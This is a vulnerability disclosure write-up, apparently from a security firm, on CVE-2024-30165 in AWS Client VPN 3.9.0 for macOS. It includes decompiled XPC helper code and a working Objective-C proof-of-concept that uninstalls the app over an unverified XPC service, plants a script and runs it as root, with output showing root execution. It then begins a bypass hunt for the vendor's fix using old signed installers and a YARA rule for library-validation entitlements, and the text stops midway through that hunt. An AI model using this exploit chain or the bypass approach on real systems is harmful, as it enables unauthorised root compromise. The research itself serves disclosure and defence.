CVE-2024-30165: Finding and Exploiting the AWS Client VPN on macOS for Local Privilege Escalation

By Max Keasley

Introduction

To proactively safeguard our customers, we conduct vulnerability research to discover zero-day vulnerabilities in software we have observed within their environments.

AWS Client VPN 3.9.0 allows a local attacker to maliciously kill the VPN connection, revert/fix the DNS settings and completely uninstall the AWS Client VPN without elevation. The uninstall primitive allows an attacker to abuse launchd due to the persistence of the privileged helper tool post-uninstall, and facilitates local privilege escalation through script planting which leads to arbitrary script execution.

As no client verification was carried out in the XPC service, a threat actor who has compromised a standard user account can interact with the XPC service to invoke root privileged functionality. This functionality facilitated a complete uninstall the software. As the privileged helper service was not forcefully unloaded after an uninstall, the fix_dns or revert_dns functionality can be invoked in order to execute a planted script as root. This results in Local Privilege Escalation (LPE). 

Overview of the Vulnerability

AWS Client VPN version 3.9.0 made use of an XPC service which was configured in the following launchd configuration file.

$ cat /Library/LaunchDaemons/com.amazonaws.acvc.helper.plist 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
        <key>Label</key>
        <string>com.amazonaws.acvc.helper</string>
        <key>MachServices</key>
        <dict>
                <key>com.amazonaws.acvc.helper</key>
                <true/>
        </dict>
        <key>Program</key>
        <string>/Library/PrivilegedHelperTools/com.amazonaws.acvc.helper</string>
        <key>ProgramArguments</key>
        <array>
                <string>/Library/PrivilegedHelperTools/com.amazonaws.acvc.helper</string>
        </array>
        <key>StandardErrorPath</key>
        <string>/tmp/AcvcHelperErrLog.txt</string>
        <key>StandardOutPath</key>
        <string>/tmp/AcvcHelperOutLog.txt</string>
</dict>
</plist>

The string under the MachServices key defined the name of the service, which was com.amazonaws.acvc.helper. The binary listed under the Program key, /Library/PrivilegedHelperTools/com.amazonaws.acvc.helper, was responsible for handling the Mach service. 

Services which are listed under /Library/LaunchDaemons are executed with root privileges. The root privilege launch item which was executing the com.amazonaws.acvc.helper Mach-O XPC service was confirmed to be registered with launchd through use of the following command.

$ sudo launchctl list | grep -i com.amazonaws.acvc.helper
-	0	com.amazonaws.acvc.helper

XPC connections are often improperly verified and these weakness can commonly be leveraged to exploit globally-accessible XPC services.

Analysis of the PrivilegedHelperTool

The com.amazonaws.acvc.helper PrivilegedHelperTool was found to make use of the C-based XPC API, which could be identified through the use of functions which were prefixed with xpc_, this can be seen in the following code snippet. 

$ nm com.amazonaws.acvs.helper | grep -i xpc_
0000000100004060 s ___block_descriptor_32_e33_v16?0"NSObject<OS_xpc_object>"8l
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_resume
                 U _xpc_connection_send_message_with_reply
                 U _xpc_connection_set_event_handler
                 U _xpc_copy_description
                 U _xpc_dictionary_create
                 U _xpc_dictionary_set_string

The main function within com.amazonaws.acvs.helper handled the XPC service creation and event handling functionality.

int _main(int arg0, int arg1) {
  var_28 = *_HELPER_LABEL;
  rax = objc_retainAutoreleaseReturnValue(*__dispatch_main_q);
  rax = [rax retain];
  var_18 = xpc_connection_create_mach_service(var_28, rax, 0x1);
  [rax release];
  if (var_18 == 0x0) {
    rax = syslog$DARWIN_EXTSN(0x5, "Failed to create service.");
    exit(0x1);
  }
  else {
    syslog$DARWIN_EXTSN(0x5, "Configuring connection event handler for helper");
    xpc_connection_set_event_handler(var_18, ^ {/* block implemented at ___main_block_invoke */ });
    rax = xpc_connection_resume(var_18);
    dispatch_main();
  }
  return rax;
}

No client verification was carried out within the XPC Event Handler, and as such, any incoming XPC Mach messages would be passed directly to the event handler no matter the client. The event handler which was configured with the xpc_connection_set_event_handler API call in the previous snippet can be seen below:

int ___XPC_Peer_Event_Handler(int arg0, int arg1) {
  var_8 = 0x0;
  rax = objc_storeStrong(&var_8, arg0);
  var_10 = 0x0;
  rax = objc_storeStrong(&var_10, arg1);
  syslog$DARWIN_EXTSN(0x5, "Received event in helper.");
  if (xpc_get_type(var_10) == *__xpc_type_error) {
    if (var_10 != *__xpc_error_connection_invalid) {
    }
  }
  else {
    var_28 = [xpc_dictionary_get_remote_connection(var_10) retain];
    var_30 = xpc_dictionary_get_string(var_10, "request");
    if (strcmp(*_START_REQUEST_STRING, var_30) == 0x0) {
      var_38 = [_startOvpn() retain];
      var_40 = xpc_dictionary_create_reply(var_10);
      xpc_dictionary_set_uint64(var_40, "startStatus", [var_38 startStatus]);
      xpc_dictionary_set_string(var_40, "localNetworkCidrsString", [objc_retainAutorelease([[var_38 localNetworkCidrsString] retain]) UTF8String]);
      [rax release];
      xpc_dictionary_set_bool(var_40, "ovpnStartedWithNoLanCidrsFlag", [var_38 ovpnStartedWithNoLanCidrsFlag] & 0xff & 0x1);
      xpc_connection_send_message(var_28, var_40);
      objc_storeStrong(&var_40, 0x0);
      objc_storeStrong(&var_38, 0x0);
    }
    else {
      if (strcmp(*_TERMINATE_REQUEST_STRING, var_30) == 0x0) {
        var_44 = _killOvpnProcess(0xf);
        var_50 = xpc_dictionary_create_reply(var_10);
        xpc_dictionary_set_int64(var_50, "exitCode", sign_extend_64(var_44));
        xpc_connection_send_message(var_28, var_50);
        objc_storeStrong(&var_50, 0x0);
      }
      else {
        if (strcmp(*_KILL_REQUEST_STRING, var_30) == 0x0) {
          var_54 = _killOvpnProcess(0x9);
          var_60 = xpc_dictionary_create_reply(var_10);
          xpc_dictionary_set_int64(var_60, "exitCode", sign_extend_64(var_54));
          xpc_connection_send_message(var_28, var_60);
          objc_storeStrong(&var_60, 0x0);
        }
        else {
          if (strcmp(*_VERSION_REQUEST_STRING, var_30) == 0x0) {
            _rotateLogs();
            var_68 = xpc_dictionary_create_reply(var_10);
            xpc_dictionary_set_int64(var_68, "partOne", 0x1);
            xpc_dictionary_set_int64(var_68, "partTwo", 0x0);
            xpc_dictionary_set_int64(var_68, "partThree", 0x13);
            xpc_connection_send_message(var_28, var_68);
            objc_storeStrong(&var_68, 0x0);
          }
          else {
            if (strcmp(*_RESTORE_DNS_REQUEST_STRING, var_30) == 0x0) {
              [SystemCommands restoreDns];
            }
            else {
              if (strcmp(*_FIX_DNS_REQUEST_STRING, var_30) == 0x0) {
                NSLog(@"Attempting to fix DNS");
                var_6C = [SystemCommands fixDns];
                var_78 = xpc_dictionary_create_reply(var_10);
                xpc_dictionary_set_uint64(var_78, "fixDnsStatus", sign_extend_64(var_6C));
                xpc_connection_send_message(var_28, var_78);
                objc_storeStrong(&var_78, 0x0);
              }
              else {
                if (strcmp(*_UNINSTALL_REQUEST_STRING, var_30) == 0x0) {
                  var_7C = _uninstallApplication();
                  var_88 = xpc_dictionary_create_reply(var_10);
                  xpc_dictionary_set_uint64(var_88, "uninstallStatus", var_7C);
                  xpc_connection_send_message(var_28, var_88);
                  objc_storeStrong(&var_88, 0x0);
                }
              }
            }
          }
        }
      }
    }
    objc_storeStrong(&var_28, 0x0);
  }
  objc_storeStrong(&var_10, 0x0);
  rax = objc_storeStrong(&var_8, 0x0);
  return rax;
}
int ___XPC_Peer_Event_Handler(int arg0, int arg1) {
  var_8 = 0x0;
  rax = objc_storeStrong(&var_8, arg0);
  var_10 = 0x0;
  rax = objc_storeStrong(&var_10, arg1);
  syslog$DARWIN_EXTSN(0x5, "Received event in helper.");
  if (xpc_get_type(var_10) == *__xpc_type_error) {
    if (var_10 != *__xpc_error_connection_invalid) {
    }
  }
  else {
    var_28 = [xpc_dictionary_get_remote_connection(var_10) retain];
    var_30 = xpc_dictionary_get_string(var_10, "request");
    if (strcmp(*_START_REQUEST_STRING, var_30) == 0x0) {
      var_38 = [_startOvpn() retain];
      var_40 = xpc_dictionary_create_reply(var_10);
      xpc_dictionary_set_uint64(var_40, "startStatus", [var_38 startStatus]);
      xpc_dictionary_set_string(var_40, "localNetworkCidrsString", [objc_retainAutorelease([[var_38 localNetworkCidrsString] retain]) UTF8String]);
      [rax release];
      xpc_dictionary_set_bool(var_40, "ovpnStartedWithNoLanCidrsFlag", [var_38 ovpnStartedWithNoLanCidrsFlag] & 0xff & 0x1);
      xpc_connection_send_message(var_28, var_40);
      objc_storeStrong(&var_40, 0x0);
      objc_storeStrong(&var_38, 0x0);
    }
    else {
      if (strcmp(*_TERMINATE_REQUEST_STRING, var_30) == 0x0) {
        var_44 = _killOvpnProcess(0xf);
        var_50 = xpc_dictionary_create_reply(var_10);
        xpc_dictionary_set_int64(var_50, "exitCode", sign_extend_64(var_44));
        xpc_connection_send_message(var_28, var_50);
        objc_storeStrong(&var_50, 0x0);
      }
      else {
        if (strcmp(*_KILL_REQUEST_STRING, var_30) == 0x0) {
          var_54 = _killOvpnProcess(0x9);
          var_60 = xpc_dictionary_create_reply(var_10);
          xpc_dictionary_set_int64(var_60, "exitCode", sign_extend_64(var_54));
          xpc_connection_send_message(var_28, var_60);
          objc_storeStrong(&var_60, 0x0);
        }
        else {
          if (strcmp(*_VERSION_REQUEST_STRING, var_30) == 0x0) {
            _rotateLogs();
            var_68 = xpc_dictionary_create_reply(var_10);
            xpc_dictionary_set_int64(var_68, "partOne", 0x1);
            xpc_dictionary_set_int64(var_68, "partTwo", 0x0);
            xpc_dictionary_set_int64(var_68, "partThree", 0x13);
            xpc_connection_send_message(var_28, var_68);
            objc_storeStrong(&var_68, 0x0);
          }
          else {
            if (strcmp(*_RESTORE_DNS_REQUEST_STRING, var_30) == 0x0) {
              [SystemCommands restoreDns];
            }
            else {
              if (strcmp(*_FIX_DNS_REQUEST_STRING, var_30) == 0x0) {
                NSLog(@"Attempting to fix DNS");
                var_6C = [SystemCommands fixDns];
                var_78 = xpc_dictionary_create_reply(var_10);
                xpc_dictionary_set_uint64(var_78, "fixDnsStatus", sign_extend_64(var_6C));
                xpc_connection_send_message(var_28, var_78);
                objc_storeStrong(&var_78, 0x0);
              }
              else {
                if (strcmp(*_UNINSTALL_REQUEST_STRING, var_30) == 0x0) {
                  var_7C = _uninstallApplication();
                  var_88 = xpc_dictionary_create_reply(var_10);
                  xpc_dictionary_set_uint64(var_88, "uninstallStatus", var_7C);
                  xpc_connection_send_message(var_28, var_88);
                  objc_storeStrong(&var_88, 0x0);
                }
              }
            }
          }
        }
      }
    }
    objc_storeStrong(&var_28, 0x0);
  }
  objc_storeStrong(&var_10, 0x0);
  rax = objc_storeStrong(&var_8, 0x0);
  return rax;
}




Analysis of the XPC functions

In this vulnerability, the _UNINSTALL_REQUEST_STRING functionality was abused to achieve a complete uninstall of the AWS Client VPN version 3.9.0 software without elevation. Once the uninstall has completed, the script used in the _FIX_DNS_REQUEST_STRING functionality was created and the _FIX_DNS_REQUEST_STRING command was used to execute said script as root.

_UNINSTALL_REQUEST_STRING

The _UNINSTALL_REQUEST_STRING functionality removes the application files and directories. As the LaunchDaemon is running as root an elevation of privilege can be leveraged to delete root owned files. 

int _uninstallApplication() {
    [SystemCommands unloadLaunchCtl];
...
    [rax removeItemAtPath:@"/Library/LaunchDaemons/com.amazonaws.acvc.helper.plist" error:&var_30];
...
    [rax removeItemAtPath:@"/Library/PrivilegedHelperTools/com.amazonaws.acvc.helper" error:&var_38];
...
    [rax removeItemAtPath:@"/Applications/AWS VPN Client/AWS VPN Client.app" error:&var_40];
...
    NSLog(@"Uninstalled application items");
    if (var_10 != 0x0) {
            NSLog(@"Failed to delete daemon binary with error: %@", var_10);
            var_4 = 0x1;
    }
    else {
            if (var_18 != 0x0) {
                    NSLog(@"Failed to delete daemon plist with error: %@", var_18);
                    var_4 = 0x2;
            }
            else {
                    if (var_20 != 0x0) {
                            NSLog(@"Failed to delete application with error: %@", var_20);
...
                    }
                    else {
...
                            [rax removeItemAtPath:@"/Applications/AWS VPN Client" error:&var_50];
...
                            if (var_28 != 0x0) {
                                    NSLog(@"Failed to remove the uninstall application after successfully uninstalling the aws vpn client application.");
                                    var_4 = 0x3;
                            }
                            else {
                                    var_4 = 0x4;
                            }
                    }
            }
    }
...f
    return rax;
}

_FIX_DNS_REQUEST_STRING

The _FIX_DNS_REQUEST_STRING uses the Objective-C NSTask class to execute the fix-dns.sh script. As the LaunchDaemon is running as root an elevation of privilege can be leveraged to execute fix-dns.sh as root

/* @class SystemCommands */
+(int)fixDns {
    var_18 = [@"/Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/fix-dns.sh" retain];
    NSLog(@"Executing script: %@", var_18);
    var_20 = objc_opt_new(@class(NSTask));
    [var_20 setLaunchPath:var_18];
    [var_20 launch];
    [var_20 waitUntilExit];
    var_24 = 0xffffffffffffffff;
    if ([var_20 isRunning] == 0x0) {
            var_24 = [var_20 terminationStatus];
    }
    NSLog(@"Script '%@' finished with exit code: %d", var_18, var_24);
    objc_storeStrong(&var_20, 0x0);
    objc_storeStrong(&var_18, 0x0);
    rax = var_24;
    return rax;
}

_RESTORE_DNS_REQUEST_STRING

The _RESTORE_DNS_REQUEST_STRING child routine uses a more traditional "c-like" subprocess execution method by using popen. As the LaunchDaemon is running as root an elevation of privilege can be leveraged to execute the client.down script as root

int _runCommand(int arg0) {
...
    var_128 = popen(_to_cstring(var_120), "r");
...
            do {
                    rax = fread(&var_110, 0x1, 0x100, var_128);
                    var_138 = rax;
                    if (rax == 0x0) {
                        break;
                    }
                    if (var_148 + var_138 >= var_140) {
                            var_140 = var_140 << 0x1;
                            var_150 = realloc(var_150, var_140);
                    }
                    rax = __memmove_chk(var_150 + var_148, &var_110, var_138, 0xffffffffffffffff);
                    var_148 = var_138 + var_148;
            } while (true);
            pclose(var_128);
            var_118 = [_from_cstring(var_150) retain];
    }
...
}

/* @class SystemCommands */
+(int)restoreDns {
    var_18 = [@"/Applications/AWS\ VPN\ Client/AWS\ VPN\ Client.app/Contents/Resources/openvpn/client.down" retain];
    objc_unsafeClaimAutoreleasedReturnValue(_runCommand(var_18));
    rax = objc_storeStrong(&var_18, 0x0);
    return rax;
}

Directory permissions

The following files are all protected against deletion due to the owner being root, the group being wheel and the everyone permissions being execute and read only.

  • /Library/LaunchDaemons/com.amazonaws.acvc.helper.plist
  • /Library/PrivilegedHelperTools/com.amazonaws.acvc.helper
  • /Applications/AWS VPN Client/AWS VPN Client.app
  • /Applications/AWS VPN Client

The following commands can be used to confirm the directory permissions.

$ ls -lah /Library/LaunchDaemons/com.amazonaws.acvc.helper.plist
-rw-r--r--  1 root  wheel  -  706B 28 Dec 09:17 /Library/LaunchDaemons/com.amazonaws.acvc.helper.plist
$ ls -lah /Library/PrivilegedHelperTools/com.amazonaws.acvc.helper
-r-xr--r--  1 root  wheel  -  126K 28 Dec 09:17 /Library/PrivilegedHelperTools/com.amazonaws.acvc.helper*
$ ls /Applications/AWS\ VPN\ Client/
total 0
drwxr-xr-x   4 root  wheel  -       128B 27 Nov 23:17 ./
drwxrwxr-x  36 root  admin  sunlnk  1.1K 29 Dec 13:40 ../
drwxr-xr-x   3 root  wheel  -        96B 28 Dec 09:17 AWS VPN Client.app/
drwxr-xr-x   3 root  wheel  -        96B 28 Dec 09:17 Uninstall AWS VPN Client.app/
$ ls /Applications/| grep -i AWS
drwxr-xr-x   4 root     wheel  -                  128B 27 Nov 23:17 AWS VPN Client

Uninstallation primitive

In order to uninstall the AWS Client VPN version 3.9.0 software, the AWS Client VPN includes an uninstallation app Uninstall AWS VPN Client.app which required the user to enter credentials to run.

However, as no client verification was carried out in the XPC service itself, and only in the /Applications/AWS VPN Client/Uninstall AWS VPN Client.app/Contents/MacOS/Uninstall AWS VPN Client Mach-O uninstaller tool, a low privileged user could interact with the service directly, and invoke root privileged functionality to bypass the requirement for the elevatred permissions required to uninstall the software. 

Script execution primitive

Invoking the fix_dns XPC method resulted in the XPC LaunchDaemon executing the /Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/fix-dns.sh script as root. Invoking the restore_dns XPC method executed the /Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/client.down script as root

On macOS systems the standard "local user" for a default macOS installations is in the admin and staff groups. If they aren't, the owner of the device has configured the system to be in a non default state. A standard user in this group requires a password in order to elevate and run commands with root privileges, they cannot elevate without a password. By default the standard user, under the previously discussed default state, can write to the /Applications directory as they need to be able to install applications without elevation.

If the Uninstallation primitive had previously been used, the /Applications/AWS VPN Client/ directory would have been removed. However, due to the permissions on the /Applications directory, an attacker could maliciously recreate the folder structure and plant the fix-dns.sh or client.down scripts and re-invoke the XPC service which was still loaded by launchd to achieve root code execution.

Proof-of-Concept (PoC)

The following Proof-of-Concept connects to the com.amazonaws.acvc.helper Mach service, uninstalls the application, recreates the /Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/fix-dns.sh script with malicious script content and triggers its execution as with root privileges. 

/* 
* Compile:  gcc lpe.m -o lpe -framework Foundation
* Filename: lpe.m
* Author:   emkay128
* Title:    AWS Client VPN 3.9.0 Uninstall Local Privilege Escalation Via XPC
* Date:     2023-01-16
*/
#import <Foundation/Foundation.h>

#define SERVICE_NAME    "com.amazonaws.acvc.helper"
#define XPC_SWITCH      "request"
#define C_XPC_VERSION   "version"
#define C_XPC_KILL      "kill"
#define C_XPC_TERMINATE "terminate"
#define C_XPC_RESTORE   "restore_dns"
#define C_XPC_FIX       "fix_dns"
#define C_XPC_UNINSTALL "uninstall"

int main() {
    NSLog(@"[INFO] Start");

    NSLog(@"[i] Setting up mach xpc dictionary \"uninstall\"");
    xpc_object_t message = xpc_dictionary_create(
        NULL, 
        NULL, 
        0
    );
    xpc_dictionary_set_string(
        message, 
        XPC_SWITCH,
        C_XPC_UNINSTALL
    );

    NSLog(@"[i] Connecting to Mach service");
    xpc_connection_t conn = xpc_connection_create_mach_service(
        SERVICE_NAME, 
        NULL, 
        2
    );
    
    if (conn == 0x0) {
        NSLog(@"[ERROR] failed to create XPC Connection");
        exit(1);
    }

    NSLog(@"[i] Setting up event handler");
    xpc_connection_set_event_handler(
        conn, 
        ^(xpc_object_t object){
            NSLog(@"[INFO] Client received event: %s", 
                xpc_copy_description(object)
            );
        }
    );
    
    xpc_connection_resume(conn);

    NSLog(@"[i] Sending \"uninstall\" Mach message");
    xpc_connection_send_message_with_reply(
        conn, 
        message, 
        NULL, 
        ^(xpc_object_t object){
            NSLog(@"[INFO] Sent request\n");
            printf("%s\n", xpc_copy_description(object));
        }
    );

    sleep(1);

    NSLog(@"[i] Creating exploit directory");
    system("/bin/mkdir -p \"/Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn\"");

    NSLog(@"[i] Creating exploit script");
    system("/usr/bin/printf \"#!/bin/bash\n/bin/date > /tmp/acvc.pwn\n/usr/bin/whoami >> /tmp/acvc.pwn\n/usr/bin/id >> /tmp/acvc.pwn\n\" > \"/Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/fix-dns.sh\"");

    NSLog(@"[i] Marking as executable");
    system("/bin/chmod +x \"/Applications/AWS VPN Client/AWS VPN Client.app/Contents/Resources/openvpn/fix-dns.sh\"");

    NSLog(@"[i] Setting up mach xpc dictionary \"fix_dns\"");
    xpc_dictionary_set_string(
        message, 
        XPC_SWITCH,
        C_XPC_FIX
    );

    NSLog(@"[i] Sending \"fix_dns\" Mach message");
    xpc_connection_send_message_with_reply(
        conn, 
        message, 
        NULL, 
        ^(xpc_object_t object){
            NSLog(@"[INFO] Sent request\n");
            printf("%s\n", xpc_copy_description(object));
        }
    );

    sleep(1);

    NSLog(@"[i] Viewing the results of code execution");
    system("/bin/cat /tmp/acvc.pwn");

    return 0;
}

Running the exploit:

$ ./lpe
2023-12-31 05:11:06.465 lpe[53559:1136336] [INFO] Start
2023-12-31 05:11:06.466 lpe[53559:1136336] [i] Setting up mach xpc dictionary "uninstall"
2023-12-31 05:11:06.466 lpe[53559:1136336] [i] Connecting to Mach service
2023-12-31 05:11:06.466 lpe[53559:1136336] [i] Setting up event handler
2023-12-31 05:11:06.467 lpe[53559:1136336] [i] Sending "uninstall" Mach message
2023-12-31 05:11:06.595 lpe[53559:1136338] [INFO] Sent request
 { count = 1, transaction: 0, voucher = 0x0, contents =
        "uninstallStatus" => : 4
}
2023-12-31 05:11:07.472 lpe[53559:1136336] [i] Creating exploit directory
2023-12-31 05:11:07.484 lpe[53559:1136336] [i] Creating exploit script
2023-12-31 05:11:07.494 lpe[53559:1136336] [i] Marking as executable
2023-12-31 05:11:07.510 lpe[53559:1136336] [i] Setting up mach xpc dictionary "fix_dns"
2023-12-31 05:11:07.510 lpe[53559:1136336] [i] Sending "fix_dns" Mach message
2023-12-31 05:11:07.537 lpe[53559:1136338] [INFO] Sent request
 { count = 1, transaction: 0, voucher = 0x0, contents =
        "fixDnsStatus" => : 0
}
2023-12-31 05:11:08.513 lpe[53559:1136336] [i] Viewing the results of code execution
Sun Dec 31 05:11:07 PST 2023
root
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),3(sys),4(tty),5(operator),8(procview),9(procmod),12(everyone),20(staff),29(certusers),61(localaccounts),80(admin),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),10
0(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

Triaging the Fix

Analysis of the LaunchDaemon

The previously vulnerable XPC event handler was updated by AWS to include a code signing check on the incoming XPC dictionary.

int ___XPC_Peer_Event_Handler(int arg0, int arg1) {
    var_8 = 0x0;
    rax = objc_storeStrong(&var_8, arg0);
    var_10 = 0x0;
    rax = objc_storeStrong(&var_10, arg1);
    syslog$DARWIN_EXTSN(0x5, "Received event in helper.");
    if (xpc_get_type(var_10) == *__xpc_type_error) {
            if (var_10 != *__xpc_error_connection_invalid) {
            }
    }
    else {
            var_28 = [xpc_dictionary_get_remote_connection(var_10) retain];
            NSLog(@"Received connection from PID: %d", xpc_connection_get_pid(var_28));
            var_38 = [CodeSigningUtils createSecCodeFromXpcMessage:var_10];
            if (var_38 != 0x0) {
                    var_39 = [CodeSigningUtils validateSecCodeWithRequirements:var_38 requirementsString:@"anchor apple generic and identifier = \"com.amazonaws.acvc.helperapp\" and certificate leaf[subject.OU] = \"94KV3E626L\""] & 0x1;
                    CFRelease(var_38);
                    if ((var_39 & 0x1) == 0x0) {
                            _failXpcConnectionWithExitCode(var_28, var_10, *(int32_t *)_XPC_SEC_CODE_VALIDATION_FAILED_EXIT_CODE);
                    }
                    else {
...




 

The createSecCodeFromXpcMessage function is a custom function which creates a SecCode object from an XPC message passed in an argument. The function logs a message indicating that a SecCode is being created from an XPC message. It uses xpc_copy_description to get a textual representation of the XPC message for logging purposes. It attempts to create a SecCode object using the SecCodeCreateWithXPCMessage function, providing the XPC message from var_20 and a NULL argument. The function returns the integer value stored in var_8, which holds either the reference to the created SecCode object (on success) or zero (on failure).

Hunting for a bypass for the fix

AWS added verification of the client sending XPC messages to the LaunchDaemon, however there weren't any version checks in place. This means that it may be possible to find a Mach-O which would facilitate communication with the XPC service. To verify this hypothesis, an older app vulnerable to DYLIB sideloading or DYLIB injection which had the identifier of com.amazonaws.acvc.helperapp and signed with the Team ID of 94KV3E626L would need to be identified as it would validate the checks.

On the download page there were a list of available to download pkg installers, however, a number were marked as "No longer supported" and no download link was available.

  • 3.9.1 February 16, 2024 -> Available to download -> Improved security posture.
  • 3.9.0 December 6, 2023 -> Available to download
  • 3.8.0 August 24, 2023 -> Available to download
  • 3.7.0 August 3, 2023 -> Available to download -> Improved security posture.
  • 3.6.0 July 15, 2023 -> No longer supported. -> Improved security posture.
  • 3.5.0 July 15, 2023 -> No longer supported.
  • 3.4.0 July 14, 2023 -> No longer supportd. -> Improved security posture.
  • 3.3.0 April 27, 2023 -> No longer supported.
  • 3.2.0 January 23, 2023 -> No longer supported.
  • 3.1.0 May 23, 2022 -> No longer supported. -> Improved security posture.
  • 3.0.0 March 3, 2022 -> No longer supported. -> Improved security posture.
  • 2.0.0 January 20, 2022 -> No longer supported.
  • 1.4.0 November 9, 2021 -> No longer supported.
  • 1.3.5 September 20, 2021 -> No longer supported.
  • 1.3.4 August 4, 2021 -> No longer supported.
  • 1.3.3 July 1, 2021 -> No longer supported.
  • 1.3.2 May 12, 2021 -> No longer supported.
  • 1.3.1 April 5, 2021 -> No longer supported.
  • 1.3.0 March 8, 2021 -> No longer supported.
  • 1.2.5 February 25, 2021 -> No longer supported.
  • 1.2.4 October 26, 2020 -> No longer supported.
  • 1.2.3 October 8, 2020 -> No longer supported.
  • 1.2.2 August 12, 2020 -> No longer supported.
  • 1.2.1 July 1, 2020 -> No longer supported.
  • 1.2.0 May 19, 2020 -> No longer supported.
  • 1.1.2 April 21, 2020 -> No longer supported.
  • 1.1.1 April 2, 2020 -> No longer supported.
  • 1.0.0 February 4, 2020 -> No longer supported.

Despite the download link not being available, the cloudfront CDN links still had versions available. For example, version 1.0.0 could be downloaded with the following link:

  • https://d20adtppz83p9s.cloudfront.net/OSX/1.0.0/AWS_VPN_Client.pkg

A quick bash oneliner was used to download all versions between 0.0.0 and 4.9.9, hoping to download unlisted versions. 

for i in {0..4}; do for j in {0..9}; do for k in {0..9}; do sleep 1; curl -o AWS_VPN_Client_$i.$j.$k.pkg https://d20adtppz83p9s.cloudfront.net/OSX/$i.$j.$k/AWS_VPN_Client.pkg; done; done; done

This would result in a number of non-existant items which could be identified by a file size of 243 and can be removed during processing.

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>[...REQUEST-ID...]</RequestId><HostId>[...HOST-ID...]</HostId></Error>

Once the download loop had finished, all of the AWS_VPN_Client pkg installers can be extracted.

for line in $(ls -lah | grep -i AWS_VPN_Client | grep -v '243 ' | awk '{ print $10 }'); do FILE=${line%.*}; pkgutil --expand-full $line $FILE; done

This resulted in a large number of pkgs and their associated extraction directories. 

$ ls
total 1483936
drwxr-xr-x  72 testmac  staff  -       2.3K 22 Mar 17:39 ./
drwx------@ 95 testmac  staff  -       3.0K 22 Mar 18:29 ../
 0: group:everyone deny delete
-rw-r--r--@  1 testmac  staff  hidden   14K  9 Apr 14:37 .DS_Store
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.0.0/
-rw-r--r--   1 testmac  staff  -        16M 16 Mar 22:22 AWS_VPN_Client_1.0.0.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.1.0/
-rw-r--r--   1 testmac  staff  -        16M 16 Mar 22:22 AWS_VPN_Client_1.1.0.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.1.1/
-rw-r--r--   1 testmac  staff  -        16M 16 Mar 22:22 AWS_VPN_Client_1.1.1.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.1.2/
-rw-r--r--   1 testmac  staff  -        16M 16 Mar 22:23 AWS_VPN_Client_1.1.2.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.0/
-rw-r--r--   1 testmac  staff  -        15M 16 Mar 22:23 AWS_VPN_Client_1.2.0.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.1/
-rw-r--r--   1 testmac  staff  -        28M 16 Mar 22:23 AWS_VPN_Client_1.2.1.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.2/
-rw-r--r--   1 testmac  staff  -        28M 16 Mar 22:23 AWS_VPN_Client_1.2.2.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.3/
-rw-r--r--   1 testmac  staff  -        31M 16 Mar 22:23 AWS_VPN_Client_1.2.3.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.4/
-rw-r--r--   1 testmac  staff  -        20M 16 Mar 22:23 AWS_VPN_Client_1.2.4.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.2.5/
-rw-r--r--   1 testmac  staff  -        20M 16 Mar 22:23 AWS_VPN_Client_1.2.5.pkg
drwxr-xr-x   6 testmac  staff  -       192B 16 Mar 22:37 AWS_VPN_Client_1.3.0/
-rw-r--r--   1 testmac  staff  -        26M 16 Mar 22:24 AWS_VPN_Client_1.3.0.pkg
[...SNIP...]

It is possible to use yara for quick entitlement hunting, the following yara rule has been very handy in quickly finding entitlements which may facilitate the hardened runtime to be bypassed.

private rule MachO
{
     meta:
        description = "Mach-O executable"
        category = "macho"
    
     condition:
        (uint32(0) == 0xfeedface    or uint32(0) == 0xcafebabe
        or uint32(0) == 0xbebafeca  or uint32(0) == 0xcefaedfe
        or uint32(0) == 0xfeedfacf  or uint32(0) == 0xcffaedfe)
}

rule No_Lib_Validation
{
    meta:
        description = "Find Mach-Os which have no library validation"

    strings:
         $r1 = /<key>com\.apple\.security\.cs\.disable\-library\-validation<\/key>\s*<true\/>/

    condition:
        MachO 
        and $r1
}

rule Dylib_Environment_Variables_No_Library_Validation
{
    meta:
        description = "Find Mach-Os which allow DYLD_INSERT_LIBRARIES and have no library validation"
    
    strings:
         $r1 = /<key>com\.apple\.security\.cs\.allow\-dyld\-environment\-variables<\/key>\s*<true\/>/
         $r2 = /<key>com\.apple\.security\.cs\.disable\-library\-validation<\/key>\s*<true\/>/

    condition:
        MachO 
        and $r1
        and $r2       
}

This hunt could be done in one sweep with the following bash script which ran a yara scan, iterated over the output, printed the Mach-O codesigning info and printed the DYLD variable if one of interest was identified. 

#!/bin/bash

SAVEIFS=$IFS
IFS=$(echo -en "\n\b")
/usr/local/bin/yara -N -r --scan-list ./env_unsigned.yara ./scan-list.txt 2>/dev/null > results.txt
